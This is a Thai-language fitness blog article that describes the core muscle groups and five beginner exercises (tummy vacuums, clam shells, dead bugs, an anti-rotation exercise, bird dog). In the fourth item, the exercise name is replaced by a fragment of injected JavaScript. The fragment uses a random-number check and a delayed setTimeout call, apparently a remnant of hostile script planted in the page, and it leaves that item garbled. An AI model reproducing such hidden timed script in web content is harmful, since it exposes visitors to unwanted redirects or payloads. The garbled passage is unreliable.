5 กระบวนท่าพื้นฐานฝึกกล้ามเนื้อ Core
ใครที่เริ่มต้นออกกำลังกายอย่างจริงจัง ไม่ว่าจะวิ่ง จะปั่นจักรยาน ว่ายน้ำหรือเล่นเวท ไปจนกระทั้งคนเล่นไตรกีฬามักจะได้ยินหลายๆ คน กล่าวถึง “กล้ามเนื้อคอร์ core” อยู่บ่อยๆ เเล้วเจ้ากล้ามเนื้อ Core คืออะไร มีที่มาที่ไปอย่างไร วันนี้เราจะมาทำความรู้จักกัน
เจ้ากล้ามเนื้อ core มีชื่อเป็นภาษาอังกฤษว่า Core muscles สังเกตว่าเป็นพหูพจน์ เเสดงว่ามีมากกว่า 1 กล้ามเนื้อเเน่นอน ซึ่งประกอบด้วย
- External abdominal oblique กล้ามเนื้อชั้นนนอกสุด ด้านข้างลำตัว ใช้ในการหมุนลำตัวไปมา เมื่อทำงานร่วมกับ transversus abdominis จะช่วยซัพพอร์ตลำตัวเวลาเคลื่อนไหว
- Rectus abdominis หรือชุดกล้ามเนื้อ 6-pack ที่รู้จักกันดี เรียงตัวอยู่ด้านหน้าท้อง ช่วยสร้างความเสถียรเวลาเคลื่อนไหว เเละช่วยในเรื่องการโค้งตัวทั้งหน้าและหลัง
- Interal abdominal oblique ขุดกล้ามเนื้อที่อยู่รองจาก External abdominal oblique ลายกล้ามเนื้อจะอยู่ในเเนวตรงกันข้ามกัน ทำหน้าที่เหมือนๆ กันกับ External abdominal oblique
- Transversus Abdominis กล้ามเนื้อชั้นในสุด พันรอบลำตัว ทำหน้าที่เหมือนเป็นจุดศูนย์ถ่วง “Weight Belt”
- Psoas Major/Iliacus เป็นกล้ามเนื้อที่รู้จักกันดีในนาม Hip flexors ช่วยในการยกต้นขา เเละการเคลื่อนไหวของสะโพก
- Erector Spinae กลุ่มกล้ามเนื้อที่ยึดกับเเนวกระดูกสันหลัง และเกาะกับกระดูกสันหลังข้อต่อข้อ
ถ้าอ่านภาษาอังกฎษยากไป ก็เอาง่ายๆ อะไรที่ไม่ใช่เเชนขา นั้นเเหละกล้ามเนื้อ core….ลืมไปเจ้ากลุ่มกล้ามเนื้อ Glutes หรือกล้ามก้นก็ใช่ด้วยนะ
เจ้ากล้ามเนื้อ core เป็นเหมือนเเหล่งสร้างพลังงานจลน์ที่ใช้ในการเคลื่อนไหวต่างๆ ขณะที่ชุดกล้ามเนื้อ หน้าท้องทั้ง Internal และ External ช่วยสร้างความเสถียรและบาลานซ์ของร่างกาย
การฝึกกล้าม core ให้เเข็งเเรงจะช่วย
- วิ่งได้เร็วขึน ปั่นได้เร็วขึ้น ว่ายน้ำได้เร็วขึ้น
- ลดอาการบาดเจ็บกล้ามเนื้อ
- หุ่นดูดี ฟิตเเอนด์เฟิร์ม
ฟังเเล้วไม่น่าเชื่อเลยใช่มั้ยครับ เเต่นี้คือเรื่องจริง ดูที่เรื่องการวิ่งเป็นตัวอย่าง ใครๆ ก็คิดว่า วิ่ง ต้องใช้กล้ามเนื้อขา เเต่จริงๆ เเล้วใช้ทุกส่วน เเค่กล้ามเนื้อขาช่วงล่างเป็นหลัก รองลงมาเป็น core เเละสุดท้ายจบที่ upper
เวลาวิ่ง เจ้ากล้ามเนื้อ Core จะช่วยพยุงร่างกายให้ตั้งตรง เป็นเเก่นกลางในการเคลื่อนไหว ช่วยรักษาทวงท่าขณะวิ่ง ทำให้ตัวตรง ตัวไม่โค้ง ไม่ส่ายไปมา หรือที่ฝรั่งเรียกว่า wobbling เวลาเเกว่งมือเท้า เพราะถ้าเเกว่งไปมาจะไปกระตุก รบกวนกล้ามเนื้ออื่นๆ ให้ทำงานหนักเเละบาดเจ็บได้ ลำตัวตรงยังช่วยทำให้การหายใจเข้าออกสะดวก
ตัวอย่างการฝึกกล้ามเนื้อ Core เเบบเบื้องต้น เช่น
Tummy Vacuums ท่าฝึกอันดับเเรกๆ ในการกระตุ้นกล้ามเนื้อ core ชั้นในสุดอย่าง Transversus Abdominis ดูจะเหมาะกับ คนที่ห่างจากการออกกำลังกายมานาน เเม่บ้านพ่อบ้านมือใหม่ พนักงานออฟฟิศที่นั่งนานๆ จนเป็นโรคออฟิศซินโดรม
1.การฝึก Tummy Vacuums เป็นการฝึกกล้ามเนื้อที่เรัยกว่า weight belt (Transversus Abdominis ดูจะยาวเรียกยาก) ที่ใช้ในการเริ่มต้นเคลื่อนไหวและการยกสิ่งของ ฝึกบ่อยๆ หน้าท้องก็เเบนราบได้นะ
2. Clam Shells ท่าหอยอ้า ชื่อไทยอาจจะไม่เพราะเสนาะหู เเต่เป็นการฝึกกระตุ้นกล้ามเนื้อ Glutes ที่ดี เเละรู้หรือไม่ว่าชุดกล้ามเนื้อที่เเข็งเเรงที่สุดคือกล้ามเนื้อก้น (Glutes) นั้นเอง
ผู้ออกกำลังกายหลายท่าน มีการใช้กล้ามเนื้อชุดนี้บางส่วนหรือไม่ได้ใช้เลย ทำให้กล้ามเนื้อชุดอื่นๆ ต้องมารับหน้าที่เเทน อย่างเช่น กล้ามเนื้อ hamstring และ hip flexor เป็นต้น ทำให้มัดกล้ามเนื้อเกรง เเข็ง หดตัว ไม่หยืดหยุ่นและนำไปสู่อาการบาดเจ็บ
3. Dead Bugs ท่าที่ฝึกกล้ามเนื้อ core เอวสะโพก และลำตัว ให้มีความนิ่งหรือเสถียรมากขึ้น นอกจากนี้ยังช่วยฝึกการเเยกประสาทสั่งการด้วย
4. Bandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Anti-Rotation ด้วยปกติกล้ามเนื้อ core จะทำหน้าที่หลักๆ อยู่ 3 อย่างคือ anti-rotation, anti-extension และ anti-lateral flexion การฝึกที่นิยมกัน เช่นการ Plank หรือ side-plank จะได้ anti-extension และ anti-lateral flexion เเต่การใช้ยางยืด หรือจะเป็นการใช้เครื่องดึงเคเบิลที่โรงยิม จะช่วยฝึก anti-rotation
ถ้าใครไม่มียางยืด ก็ลองใช้ท่า Segmental Rotation เเทนนะครับ
5. Bird Dog ท่าฝึกนี้ให้ประโยชน์ได้หลายอย่าง เช่น ช่วงลำตัว anti-extension และ anti-rotation เพิ่มการประสานงานของกล้ามเนื้อการสั่งการ ร่วมทั้งกระตุ้นกล้ามเนื้อ glutes และไหล่
เมื่อนำมาร่วมกันจะได้เเผนการฝึกดั่งนี้
สำหรับใครที่อยากดูคลิป
อ้างอิง
http://exercisesbest.us/best-arm-exercises/exercises-for-core.html
